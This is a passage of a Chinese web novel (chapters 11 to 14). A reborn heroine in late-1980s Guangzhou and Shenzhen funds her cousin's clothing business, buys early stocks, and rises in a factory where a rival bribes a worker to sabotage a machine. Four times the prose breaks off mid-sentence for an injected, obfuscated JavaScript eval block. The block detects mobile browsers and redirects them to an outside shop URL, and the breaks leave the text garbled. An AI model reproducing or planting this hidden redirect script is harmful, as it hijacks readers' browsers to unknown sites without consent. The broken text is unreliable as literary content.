后来的一切,顺理成章得像是一场精心编织的美梦。幽暗的电影院里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795249|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 他握着她的手,热气吹在她的耳边,深情款款地说:“文莹,我要回老家了。我离不开你,你跟我一起走吧。我们回老家开个小铺子,安安稳稳地过一辈子。” 她信了。她跟着他坐了七八趟车,走了二十多里山路,来到了那个比怀石镇还要穷困十倍的深山村落。 等裴文龙发疯般地找过来时,她已经挺着八个月的大肚子。面对大哥的怒吼和哀求,她躲在龙通身后,不肯离开。 她以为那是爱情。 直到后来,她在这个深山里,眼睁睁地看着自己生下的几个孩子,一个接一个地在不到一岁时夭折。频繁的生育和丧子之痛,折断了她的生机。 直到弥留之际,那个精明干练的婆婆才木着脸告诉她真相:他们龙家有遗传病,孩子根本养不大。龙通的八个兄弟姐妹,都是这么死在幼年的。 他们母子俩,把这个秘密死死捂住,只为了骗一个外地女人回来给他们家留个种,在用一条条人命去撞大运。 那些温柔、那些英雄救美、那些深情款款的承诺,全是一场骗局! 都说恋爱中的女人是盲目的,芷兰也是。 文莹试着给胡芷兰讲过一个“远房表姐”的故事,试图点醒她;“芷兰,外面的男人,油嘴滑舌的多。有的人看着像好人,说一套做一套,底细你根本不清楚。你别陷得太深,多留个心眼。” “文莹,你这话是什么意思?”胡芷兰的脸色瞬间变了,“你是不是看见我和龙通了?是不是你也看上他了,嫉妒我?!” 裴文莹愣住了,她看着眼前这个竖起全身尖刺的女孩,苦笑:“我嫉妒你?芷兰,我是怕你被骗,怕你毁了一辈子!” “你才被骗了!龙通说得对,有些人就是见不得我好!”胡芷兰红着眼睛大喊,“我再也不想听你说话了!” 她转身跑出了厨房。 从那天起,两人之间的裂痕再也无法弥合。胡磊来到韶州后,彻底接管了芷兰的生活,也接管了那个盒饭摊。 裴文莹尽力了。命运的洪流太强大,有些人,你叫不醒她对甜言蜜语的沉迷,也拉不住她对亲情的盲从。 胡芷兰最终选择了她哥哥,也选择了那个前世把裴文莹拖进地狱的龙通。 “路都是自己选的。”裴文莹低声呢喃着,缓缓吐出一口白气。 她转身走回自己的屋子。 深城。 她脑海里浮现出这两个字。她不想再困在这个狭小的火车站,不想再因为几毛钱的利润再跟人斤斤计较。 11. 第 11 章 1989年春末,裴文莹买了一张开往广州的长途车票。 在去深城之前,她想先去广州逛一逛,对比下两个城市,再决定下一步。 大巴车在坑洼的国道上颠簸,车窗外,南方的田野和正在拔地而起的工厂交织成一幅野蛮生长的画卷。 裴文莹靠在椅背上,闭着眼睛,手指紧紧攥着怀里的包。 大巴在一个临时客运站停下。 裴文莹提着行李,随着人流挤下了车,然后直奔附近的报刊亭,花了两毛钱,买了一份当天的报纸。 找了个街角的台阶坐下,裴文莹略过头版的那些宏大新闻,手指快速在边角的中缝里搜寻着。 前世,她虽然身在穷山沟,但在那个漫长的、只能靠看电视打发时间的绝望岁月里,她看了无数关于中国经济腾飞的纪录片和新闻访谈。她清楚地记得,在深交所正式挂牌营业之前,深城的柜台交易市场上,有五只被称为“老五股”的股票。 深延展、深万科、深金田、深安达、深原野。 这些在发行之初无人问津、甚至要靠政府摊派才卖得出去的纸片,在不久的将来,将会迎来一场史无前例的疯狂暴涨,造就中国第一批百万富翁。 裴文莹的目光在报纸的一个不起眼的角落里停住了。 “深延展股票柜台交易点”,下面附着一个简短的地址,在深城红荔路附近的一家证券公司营业部。 裴文莹的心跳猛地加快了。她将报纸折好揣进口袋,正准备找公交车站,突然停住了脚步,看着车站广场角落的一个人,心头猛地一跳。 垃圾桶旁边,蹲着一个形如乞丐的男人。他头发打着结,身上的衣服脏得看不出颜色,正狼狈地在一个破纸盒里翻找着别人吃剩的米饭。 那正是大姑家的独子,王建国。 在裴文莹的记忆里,这个表哥是个标准的街溜子。烫着卷毛,穿着花衬衫、喇叭裤,成天在怀石镇的游戏厅和录像厅里瞎混,为了所谓的哥们义气到处惹是生非。 可他怎么会跑到广州来?还落到了这步田地? “表哥?”裴文莹试探着喊了一声。 那个翻找垃圾的身影猛地僵住了。王建国缓缓转过头,透过乱蓬蓬的卷毛,看清是裴文莹时,那张满是污垢的脸上,瞬间闪过极度的难堪与窘迫,紧接着,眼眶一下子红了。 “莹姐儿……”王建国扔掉手里的半块馊馒头,蹲在地上呜呜地哭了起来,“可算碰见家里人了……这车站真不是人待的地方,我三天挨了六顿打了……” 车站广场人多眼杂,绝不是说话的地方。裴文莹又好笑又心酸,一把将他拽了起来:“走,先带你去吃顿饱饭。” 在车站附近的一家面馆里,王建国一口气连吞了三大碗牛杂面。滚烫的面汤下肚,他终于还魂般地长长舒了一口气。 “表哥,你不在镇上待着,跑广州来干什么?行李呢?”裴文莹忍不住问。 “别提了。”王建国苦笑了一声,眼神里透着一股劫后余生的疲惫,“过年的时候,我看村里那些去广东打工的人,穿得一个比一个时髦。我想着,广东的衣服肯定便宜又好卖,就背着我妈,把家里的积蓄偷拿出来,想来广东进一批服装回县城卖。刚下车,就碰上了飞车党,钱和行李全被抢了个干净。” 没了钱,没有暂住证,在这举目无亲的街头,王建国靠着翻垃圾桶熬过了三天。 “那你接下来打算怎么办?回老家吗?”裴文莹看着他,轻声问。 出乎意料的是,王建国摇了摇头。 他抬起头,那双原本总是透着油滑的眼睛里,此刻却因为经历了这三天的毒打和饥饿,有了一种饿狼般的狠劲。 “不回。就这么回去,我妈非打死我不可,镇上的人也会笑话我一辈子。”王建国咬了咬牙,一字一顿地说,“文莹,我算是看明白了,人要是没钱,连条狗都不如。我得回去凑钱,哪怕是借高利贷,我也得再来一趟广州。我非得把这服装生意做起来不可!” 眼前这个表哥倔强得有些陌生,裴文莹的心里微微一动。 她马上要去深城,目标是即将爆发的股票市场。但股市风险莫测,她需要一个能替她在内地小县城扎下根、建立稳定现金流的实体产业作为退路。而眼前这个被现实毒打过后、急于证明自己的表哥,或许就是最好的代理人。 “表哥,”裴文莹端起桌上的粗瓷茶杯,喝了一口水,声音平静却透着分量,“你想在旗山县开服装店,本钱我来出。” 王建国愣住了。 “钱的事你不用管。我出八千块钱给你做本金,租铺面、进货。”裴文莹看着他,“你去当老板,利润咱们对半分。但是,进什么货、怎么卖,前期得听我的。后面你熟了,有自己的想法,咱们再商量着来也行。” 八千块!在这个普通工人一年都攒不下几百块钱的年代,这简直是一笔巨款。王建国激动得浑身发抖,眼泪在眼眶里直打转。表妹给了他一条捷径。 第二天,裴文莹带着王建国一头扎进了西湖路灯光夜市。 八十年代末的广州,是内地流行的风向标。西湖路上,简易档口连成一片,灯火通明。王建国看得眼花缭乱,指着那些花花绿绿的衣服就想掏钱。 “别急,表哥。”裴文莹拦住他。她没有选那些最烂俗的爆款,而是挑了一批剪裁利落的萝卜裤、高腰牛仔裤,搭配着有设计感的白衬衫和红衬衫。还特意批发了一大批廉价但造型别致的金色耳环和丝巾。这些都是港风最重要的元素。 “衣服不光要看单件,更要看搭配。”站在批发档口前,裴文莹耐心地教着王建国,“回去以后,你要把这些裤子和衬衫搭成一套挂起来。别人家的店卖的是衣服,咱们的店,要卖给他们一种港城的生活方式。” 王建国听得一愣一愣的,把裴文莹的话死死记在了心里。 三天后,广州的行程结束。王建国带着以及几大包沉甸甸的服装,踏上了回湘省老家的火车。而裴文莹则坐上了开往特区深城的大巴车。 深城,这座被称为“特区”的城市,此刻正像一个疯狂发育的青春期怪物。到处都是漫天飞扬的黄土和脚手架,一栋栋大楼以“三天一层”的深圳速度拔地而起。主干道上,满载着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795250|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 建筑材料的东风大卡车和挂着港牌的黑色皇冠轿车擦肩而过;路边,操着全国各地口音的年轻人在招工启事牌前挤成一团。 这就是特区。不问出身,不问籍贯,只要你敢拼、敢赌,这里就敢给你一个一夜暴富的梦。 裴文莹此行的第一个落脚点,是位于南山区的铭康精密组件厂。这是一家刚刚在大陆建厂的台资企业。虽然她怀里揣着几千块钱的本金,但在八十年代末的深城,没有工作单位就意味着没有暂住证,随时会被当成盲流遣返。她需要一个工厂来提供合法的身份和一张床铺。 然而,这时候的南山,还是一片荒芜的郊区。 裴文莹下了大巴,按照地址一路摸索。天公不作美,还没等她找到工厂的影子,一场突如其来的南方暴雨便倾盆而下。 雨水如注,瞬间模糊了视线。没有路灯,四周是连绵的农田和荔枝林。裴文莹紧紧抱着自己的帆布包,在泥泞的土路上艰难跋涉。雨水顺着头发流进脖子里,初春的寒意冷得人直打哆嗦。 在荒地里转了半个多小时,就在她几乎快要走不动的时候,穿过一片树林,前方突然出现了几栋亮着灯的楼房。 裴文莹像是抓住了救命稻草,跌跌撞撞地跑了过去。 这是一片学校的宿舍区。她顺着屋檐跑到一楼,敲开了一间亮着灯的宿舍门。 门开了,屋内的温暖和书卷气扑面而来。灯光下,一个穿着干净白衬衫的年轻男生正站在门后。他身材高大清瘦,面容俊朗,一双深褐色的眸子清澈见底。 他被突然闯入的、浑身湿透的裴文莹吓了一跳,但看到她狼狈的模样,眼中立刻换上了关切。 “你怎么了?”男生连忙侧过身让她进来。 裴文莹冻得嘴唇发紫,带着些许颤音说:“我……我来找铭康电子厂,可是雨太大了,我迷路了……” 男生皱了皱眉,没有多问,只是迅速转身从柜子里拿出一件干净的雨衣和一把黑雨伞,语气温和却不容拒绝:“别着急,我对这附近熟。这雨一时半会儿停不了,你一个女孩子晚上在外面不安全,我陪你去找。” 说着,他把雨衣递给裴文莹:“披上,别冻感冒了。” 一路上,男生撑着伞,走在外侧,细心地为她遮挡着风雨。 “这条路我常走,电子厂不远,穿过前面那条土路就到了。”男生的声音在哗哗的雨声中显得格外坚定,让裴文莹原本慌乱的心渐渐安定下来。 雨水打湿了男生的半边肩膀,他却浑然不觉,只是专注地在泥泞中为裴文莹照亮前方的路。 不知走了多久,前方终于出现了铭康电子厂那块简陋的招牌。 那一刻,裴文莹长长地舒了一口气。她转过头,看着男生被雨水打湿的脸庞,认真地说:“谢谢你。要不是你,我今晚真不知道该怎么办了。我叫裴文莹。” 男生笑了笑,露出一口白净的牙齿,眼睛弯弯的很好看:“没事,举手之劳。我叫顾飞羽,是深城大学电子系的学生。你快进去吧。” 看着顾飞羽转身走入雨幕的背影,裴文莹将这个名字默默记在了心里。 12. 第 12 章 第二天,裴文莹顺利办理了入职,成了铭康流水线上的一名普工。 工厂的生活如同一台冰冷的机器。半军事化管理、每天长达十二个小时的机械劳作、闷热拥挤的八人宿舍,压榨着每一个打工妹的精力。 厂里有个宝岛女主管冯心媚,仗着是老板的亲戚,对大陆员工极其苛刻。有一次,因为赶工期,同宿舍的阿华连轴转太累,早上迟到了两分钟。女主管不仅扣了她一百块钱,还要逼着阿陈当众下跪反省。 车间里鸦雀无声,女孩们吓得瑟瑟发抖。 裴文莹没有像其他人那样噤若寒蝉。她停下手里的活,站了出来,看着女主管,语气平静却异常清晰:“冯经理,迟到扣钱是厂规,我们认了。但厂规里没有让人下跪这一条。大家都是靠双手挣钱吃饭,没有谁比谁低贱。” 这句话平平淡淡,却像是一根针,扎进了女主管心里。几个平时受过气的女工也跟着停下了手里的活,默默地站在了裴文莹身后。 眼看要激起群愤影响生产,恰好路过的尤厂长赶紧出面和稀泥,把裴文莹调到了另一个车间,平息了事端。这件事让裴文莹在打工妹中有了些威望,但她心里很清楚,跟一个车间主管死磕毫无意义。流水线上的争斗再赢,也改变不了打工妹的命运。 她的目标,在工厂之外。 周末,当别的女工都换上漂亮衣服去逛街、看录像的时候,裴文莹洗干净脸上的疲惫,换上一身整洁的衣服,走出了厂门。 她凭借着记忆,走进了深城大学的校园。她需要文凭,更需要一个能接触到前沿信息的圈子。 在夜校报名处,裴文莹意外地再次看到了那个熟悉的身影。 顾飞羽正坐在一张长桌后,帮着导师整理招生资料。看到裴文莹走过来,他的眼睛亮了一下,笑着打招呼:“怎么是你?你也来报名吗?” “是呀,顾同学。”裴文莹笑了,在这个偌大的城市里再次遇到熟人,让她感到一阵轻松。 顾飞羽得知她想上夜校,十分热心地帮她参谋。 “现在的成人教育和英语培训中心合并了,叫开放学院。有工商管理、财务会计、国际贸易和英语几个专业。”顾飞羽指着宣传册,耐心地解释,“你要是精力够,可以报国际贸易,再兼修个英语班,这两门课的时间大部分是错开的。” 裴文莹毫不犹豫地填了这两门课的报名表。在未来与外资打交道的制造业浪潮中,这两门课是最硬的敲门砖。 报完名,正好到了下班时间。顾飞羽主动提议带裴文莹参观校园。 走在绿树成荫的校园小道上,看着来来往往朝气蓬勃的大学生,裴文莹贪婪地呼吸着这里自由而充满求知欲的空气。 “这里是图书馆,咱们学校的藏书在国内都是数一数二的,连外文书籍和港台杂志都能借到。”顾飞羽指着一栋雄伟的建筑,语气里透着自豪。 不知不觉中,两人聊了很多。顾飞羽发现,身边这个在流水线上打工的女孩,有着远超她年龄的见识与清醒。她不抱怨工厂的苦,只关心外面的经济形势;聊起一些国家大事,甚至能接得住他这个名牌大学生的抛梗。 “文莹,”顾飞羽停下脚步,看着她,眼神里多了一丝试探,“我选修了经济学,最近老师在讲国外的股票交易。过两天周末,我想去证券公司看看,你有兴趣一起吗?” 听到“股票”这两个字,裴文莹的心跳猛地漏了一拍。 “好。”裴文莹看着顾飞羽,“我们一起去。” 深城特区证券公司的门脸并不起眼,但此刻,大门外的马路上却已经黑压压地挤满了人。队伍像一条长龙,一直拐到了街角。 人群中,有穿着西装打着领带的香港客商,有穿着的确良短袖的本地干部,更多的是操着全国各地口音、眼里闪烁着狂热光芒的普通人。深交所还没有正式挂牌营业,所有的股票交易都在这小小的柜台前进行。每天限量的交易号码,成了无数人眼里通向财富大门的钥匙。 “这么多人……”顾飞羽站在外围,看着眼前这近乎疯狂的阵势,下意识地扶了扶鼻梁上的眼镜。 他虽然在大学里学了经济学,懂得资本市场的理论,但书本上的铅字和现实中这种最原始、最粗糙的财富搏杀比起来,冲击力完全不可同日而语。 裴文莹站在他身旁,双手紧紧地护在胸前,那里贴身放着她全部的积蓄。 “今天据说要新发两只股票,‘深蓝田’和‘深平安’。”裴文莹看着那扇紧闭的玻璃大门,声音里透着一股不容退缩的坚定,“人多,说明大家都闻到味了。” 顾飞羽转头看向她。 “文莹,”顾飞羽清了清嗓子,出于朋友的立场,他还是觉得有必要提醒一句,“我听导师说过,股票这东西虽然收益高,但风险同样深不见底。你这笔钱攒得不容易,全砸进去,万一被套牢了……” “飞羽,我知道有风险。”裴文莹回过头,目光平静地迎上他的视线,“但我更知道,现在股票刚刚兴起,就像一块还没开垦的荒地。对于普通人来说,这可能就是难得的机遇。” 她顿了顿,嘴角露出一丝微笑:“我想好了。你呢?” 顾飞羽愣住了。他出身优渥,从小到大衣食无忧,卡里甚至存着从小到大攒下的五万块钱压岁钱。他原本真的只是想来“考察”一下市场,感受一下气氛。可现在,他改变了主意。 “好。”顾飞羽深吸了一口气,眼神也变得明亮起来,“既然你都敢下注,我陪你一起。” 九点整,证券公司的大门“哗啦”一声被拉开。 人群像决堤的洪水一般涌了进去。没有叫号机,没有电子大屏幕,大厅正前方只有一块大黑板,上面用白粉笔歪歪扭扭地写着几只股票的名称和买卖价格。 “别挤!排队领认购单!”柜台后的工作人员扯着嗓子大喊,但声音瞬间就被嘈杂的方言和叫嚷声淹没了。 “跟着我!”顾飞羽一把抓住裴文莹的胳膊,仗着自己个子高、肩膀宽,硬生生地在拥挤的人潮中替她撑开了一小片空间。 大厅里闷热,汗水的酸味和廉价烟草的味道混杂在一起。裴文莹顾不上擦额头滑落的汗珠,紧紧跟在顾飞羽身后,奋力向发售“深蓝田”和“深平安”的柜台挤去。 在前世的记忆里,这两只股票是真正的长线金牛。“深蓝田”虽然前身只是一家纺织代销公司,但在未来十几年里,它将在深交所长盛不衰;而“深平安”更是会在发行后短短一年内,创下暴涨数倍的神话。 “给我拿认购单!”好不容易挤到柜台前,裴文莹将那一万五千块钱重重地拍在了玻璃台面上。 顾飞羽也没有犹豫,从包里拿出了五万块钱的存折。 柜台里的交易员手脚麻利地清点、手工记账、填写股东登记册。在这个连电脑都没有普及的年代,中国第一代股民的财富凭证,就是这样一笔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795251|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 划写出来的。 十几分钟后,两人浑身是汗地从人群中挤了出来。 站在证券公司门外的台阶上,呼吸着外面的新鲜空气,裴文莹和顾飞羽低头看着手里那几张盖着红戳的、薄薄的纸片,相视一笑。 “接下来呢?天天来这儿看黑板上的价格吗?”顾飞羽甩了甩被挤得发酸的胳膊,笑着问。 “不用。”裴文莹把认购证小心翼翼地贴身收好,“把它们交给时间。我们现在,回去好好上课,好好工作。” 不需要天天盯盘,也不需要盲目跟风。在这个大江大河奔涌的时代,只要站在了正确的风口上,哪怕什么都不做,财富的齿轮也会推着人向前狂奔。 XXX 凌晨,铭康精密组件厂的车间里,机器的轰鸣声伴随着拉长大声的提醒,仍旧抵挡不住通宵加班的疲惫。 阿陈低着头,机械地重复着手里装配零件的动作。就在她走神的一刹那,旁边的工友不小心碰到了机器的开关。 “啊——!” 一声凄厉到极点的惨叫,瞬间撕裂了车间里压抑的空气。阿陈的手指被机器生生打碎了一截,血肉模糊,殷红的血顺着操作台滴滴答答地往下淌。 这一幕让周围的女工们吓得浑身发抖。组长慌乱地叫人把阿陈送去了医院,为了给厂里省钱,连院都没让住,缝了六针,打了点滴,半夜又把人拖回了宿舍。 麻药劲儿一过,钻心的疼让阿陈整宿整宿地在硬板床上发抖,冷汗浸透了枕头。 裴文莹看着脸色惨白、连起身上厕所都困难的阿陈,心里那股压着火的酸楚怎么也忍不住。她端着盆,默默地帮阿陈把沾着血的工服洗干净。 阿陈的手废了,干不了流水线的活儿。按照规定,厂里除了补偿金,还应该支付四个月的工伤辞退费,加起来也不过不到四千块钱。铭康的订单动辄上百万,但厂里对这笔钱却一推再推,装聋作哑。 裴文莹拿着自己查来的劳动法规,硬着头皮去找了女主管冯心媚。 冯心媚是老板郭育铭太太的远房表妹,仗着这层关系,在厂里飞扬跋扈。她穿着讲究的职业装,坐在办公桌后,斜着眼睛打量着裴文莹,冷笑了一声:“你以为厂里的钱是大风刮来的?能给她出医药费就不错了,她自己手脚慢出了事,还想讹厂里一笔?” “冯经理,阿陈是在流水线上伤的,这四个月的工资是她应得的救命钱。”裴文莹据理力争。 “别在这儿得寸进尺!”冯心媚不耐烦地摔了手里的文件夹,“老板去宝岛了,没人能批这个钱。想要钱,最多给一个月,爱要不要!” 最终,性格软弱的阿陈耗不起了。她流着泪,屈辱地签了字,拿着那笔打了折扣的补偿金,提着简单的行李,悄无声息地离开了深城。 阿陈走的那天,裴文莹坐在闷热的十人宿舍里,看着那张空荡荡的架子床,拿出一个笔记本,拔开钢笔的笔帽,在纸上一笔一划地写下了一封辞职信。 她写初入工厂时的憧憬,写工人们在震耳欲聋的轰鸣声中熬红的双眼;她更写阿陈那根断掉的手指,写厂方对生命安全的漠视和对底层打工者尊严的践踏。 把辞职信交上去的那一刻,裴文莹已经做好了卷铺盖走人的准备。她甚至觉得如释重负,这样的泥潭,不待也罢。 然而,这封辞职信并没有像其他打工妹的离职单一样被扔进废纸篓,而是被送到了董事长郭育铭的办公桌上。 13. 第 13 章 铭康的办公室里,尤厂长看着老板手里的那几页纸,气急败坏地说:“老板,这个裴文莹就是个刺头!一天到晚煽动人心,好好的厂妹都让她带坏了!让她马上滚蛋,工资也别结了!” 郭育铭没有理会尤厂长的叫嚣。他靠在真皮椅背上,手指轻轻敲击着桌面,眼睛盯着信纸上的字迹。 作为一个在商海里厮杀多年的台商,他看到的不是一个女工的抱怨,而是一个有着极强逻辑和洞察力的头脑。 他调出了裴文莹的档案:进厂仅仅十个月,从最底层的普工,一路干到拉长,上个月刚刚升了组长。而且,这个女孩不上夜班的时候,还要穿过半个城市去深城大学夜校进修国际贸易和英语。 “别让她走。”郭育铭突然开口,打断了尤厂长的絮叨,“把她叫到会议室来。” 十几分钟后,裴文莹穿着洗得发白的工装,不卑不亢地坐在了郭育铭的对面。 “小裴,你的信我看了。”郭育铭掐灭了手里的烟,眼神里带着几分审视和欣赏,“有骨气,也有脑子。但辞职解决不了问题。” 裴文莹平静地看着他,没有接话。 “厂里刚进了一批德国的新设备,准备拉一条全新的精密生产线。但德国的技术员要半年后才能到位,现在机器开不了机,每天都在烧钱。”郭育铭身体微微前倾,抛出了一个极具诱惑力、也极其凶险的筹码,“我给你个机会。你来当这个新车间的主管,工资直接对标宝岛来的管理层,一个月四千块。前提是,你要把这条线给我转起来。” 不到二十岁的主管,月薪四千!在深城,这绝对是个足以让人疯狂的数字。 裴文莹很清楚,这块骨头极其难啃。厂里那么多经验丰富的男技术员都束手无策,一旦搞砸了,她就会成为平息众怒的替罪羊。 但裴家人骨子里那股撞破南墙不回头的狠劲儿,在这一刻被彻底激发了。她抬起头,眼神亮得惊人:“好,我接。” 接下来的一个月,裴文莹仿佛疯了一样。 厂家提供的说明书全是德文,犹如天书。她白天扎在车间里摸索机器,晚上就往深城大学的图书馆跑。在浩如烟海的科技书籍里,她硬是翻出了一本从英文翻译过来的厚厚的《电连接器手册》。 她没日没夜地啃这本枯燥的专业书,对照着后来补发的英文版说明书,一点一点地弄懂那些关于绝缘位移连接、接触电阻优化的生僻词汇。遇到实在不懂的,她就去请教顾飞羽。 凭着这股近乎自虐的韧劲儿,一个月后,裴文莹竟然硬生生地把一整套工艺流程给钻研了出来。她和技术小组,以及亲近的女工们组织了几次试运行,都运转良好,女工们暗中欢呼,都觉得胜利在望。 然而,在这片欢呼声的背后,却有一双双嫉妒的眼睛,正盯着裴文莹。 首当其冲的,就是冯心媚。 最近的冯心媚,正处于人生最得意的巅峰。她从车间主管摇身一变,成了老板的贴身秘书,每天穿着精致的套装,踩着高跟鞋,跟着郭育铭出入各种高档场所。 女工们在公共澡堂里冲凉时,关于她的八卦早就传得满天飞。有人亲眼看见她和老板在西丽湖的音乐茶座里跳贴面舞,那声娇滴滴的“姐夫”,叫得人骨头都酥了。 冯心媚自认为已经彻底把控了这个男人,也把控了这座工厂。可裴文莹的横空出世,却像是一根刺,狠狠地扎进了她的眼里。一个昨天还在流水线上被她呵斥的打工妹,今天竟然和她平起平坐了! 妒火中烧的冯心媚,扭着腰肢走进了郭育铭的办公室。 “育铭,忙了一天了,歇会儿吧。”冯心媚反锁上门,顺势坐在了办公桌的边沿,身子微微前倾,语气娇媚,“我有点担心裴文莹的那个项目。她一个打工妹,怎么能担得起这么大的责任?万一搞砸了,厂里的损失多大呀。不如让我来接手吧。” 郭育铭抬起头,放下手里的文件,声音淡淡:“这件事我心里有数,你不用管。” “育铭,”冯心媚有些不甘心,咬着嘴唇说,“她毕竟是个外人,怎么能比得上我们这些自己人……” “心媚。”郭育铭打断了她,站起身走到窗边,语气突然变得有点冷,“我太太安排你来大陆是干什么的,你我都清楚。我们之间,仅限于工作以外的露水情缘。” 他转过头,居高临下地看着笑意僵住的冯心媚,淡淡地说:“裴文莹能让机器转起来,你能吗?不要轻举妄动,厂里的事,你不要插手。” 冯心媚被他眼神里的冷酷吓得后退了一步。“我知道了。”她低着头,声音发颤,转身快步逃出了办公室。 郭育铭越是护着裴文莹,她就越要毁了那个贱姑娘。受此大辱,冯心媚心中暗恨。 夜晚的厂区比白天要安静,最近没有大订单,不用加夜班,女工们相约着去城里的茶室、舞厅玩了。 水龙头的水流得很细,金喜蹲在地上,双手机械地搓洗着一件沾着机油的工服。水里的泡沫泛着灰黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795593|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,就像她此刻怎么也洗不干净的疲惫和憋闷。 “怎么,当了拉长还要自己洗衣服?我以为你们流水线上的,互帮互助得很呢。” 一个带着几分讥诮的娇柔声音在背后响起。 金喜吓了一跳,猛地转过头。昏黄的路灯下,冯心媚穿着一身真丝连衣裙,手里夹着一根细长的女士香烟,正居高临下地看着她。那副打扮,和这到处都是泥水、油污的厂区格格不入。 “冯……冯秘书。”金喜赶紧站起来,手在裤腿上局促地擦了擦,眼神里透着习惯性的敬畏。 在底层摸爬滚打的人,对权力有着本能的敏感。哪怕大家都知道冯心媚是靠什么上的位,但在这个厂里,她代表的就是老板的意志。 “别紧张。”冯心媚踩着高跟鞋走近了两步,一股浓郁的香水味飘过,“我只是替你不值。明明是你先进的厂,资历比谁都老。结果呢?那个裴文莹一来,抢尽了风头,还踩着你们的肩膀爬上去了,一个月拿四千块!连跟在她后面捡漏的大傻妞都升了组长,你呢?” 冯心媚吐出一口青烟,烟雾缭绕中,她的眼神像是一把钩子,精准地勾住了金喜心底最深处的嫉妒。 金喜的脸色瞬间变得煞白,手指死死地绞在一起,指节都泛了青。 “那是人家有本事……”金喜咬着嘴唇,声音小得连自己都快听不见了。 “本事?”冯心媚冷笑了一声,突然压低了声音,凑到金喜耳边,“她不就是仗着瞎猫碰死耗子,把那台破机器弄响了吗?如果……如果那机器又停了,甚至坏得更彻底,你说,老板还会拿她当神仙供着吗?” 金喜猛地瞪大了眼睛,惊恐地看着冯心媚:“你……你想干什么?” “不是我想干什么,是你想不想拿回属于你的东西。”冯心媚从手提包里摸出一个厚厚的信封,直接塞进了金喜因为常年劳作而粗糙的衣兜里,“这里是两千块钱。新车间的钥匙,你这个老拉长应该有办法弄到。我不要你干别的,机器主板背面有几根红蓝相间的控制线,剪断它们。只要机器一停,裴文莹立刻就得卷铺盖滚蛋。到时候,新车间组长的位置,就是你的。” 厚厚的两千块钱,烫得金喜浑身发抖。 这是她在这条流水线上,不吃不喝干四个月才能攒下的钱。而那个“组长”的承诺,更是像魔咒一样,让她那点可怜的理智瞬间土崩瓦解。 她看着冯心媚消失在夜色中的背影,手伸进口袋,死死地捏住了那个信封。 14. 第 14 章 凌晨三点。 人最困顿、睡得最死的时候。 金喜像个游魂一样,借着巡夜保安换班的空隙,摸进了新车间。 车间里没有开大灯,只有几盏应急灯发出惨白的光。那台昂贵的德国设备静静地矗立在中央,像一头蛰伏的金属巨兽。 金喜的心跳得像是要撞破胸腔。她手脚发软地爬上操作台,抖着手用螺丝刀卸下了后盖。手电筒微弱的光晕里,她看到了冯心媚说的那几根红蓝相间的控制线。 只要剪断它,裴文莹的神话就破灭了,自己就能拿回失去的尊严和地位。 金喜咬着牙,举起了手里的工业剪线钳。 “咔嚓。” 几根细微的电线被齐刷刷剪断。机器内部发出一声极轻的“呲啦”声,随即便再无声息。 金喜浑身瘫软地从机器上滑下来,胡乱盖上后盖,像一只受惊的耗子,仓皇地逃出了车间。 第二天上午,新车间。 随着早班的电闸推上,裴文莹习惯性地站在控制台前,按下了启动键。 没有预想中低沉平稳的轰鸣,只有几声沉闷的卡壳声,紧接着,操作面板上的指示灯如同乱码般疯狂闪烁,一股刺鼻的焦糊味从机器后方冒了出来。 “停机!马上切断电源!” 裴文莹马上下达指令。 整个车间瞬间乱作一团。正在准备送料的女工们惊慌失措地退开。 消息传得比风还快。不到十分钟,郭育铭带着尤厂长和几个管理层,脸色铁青地冲进了车间。 “怎么回事?!”郭育铭盯着被烧黑的控制面板,声音愠怒。这台机器关乎着几百万的订单,还没启用就坏掉,损失难以估量。 裴文莹从机器后面钻出来,手里拿着几根断裂的线头。 “老板,是人为破坏。”裴文莹将线头递到郭育铭面前,“主板背面的核心控制线被锐器剪断了,导致启动时短路,烧毁了局部元件。” 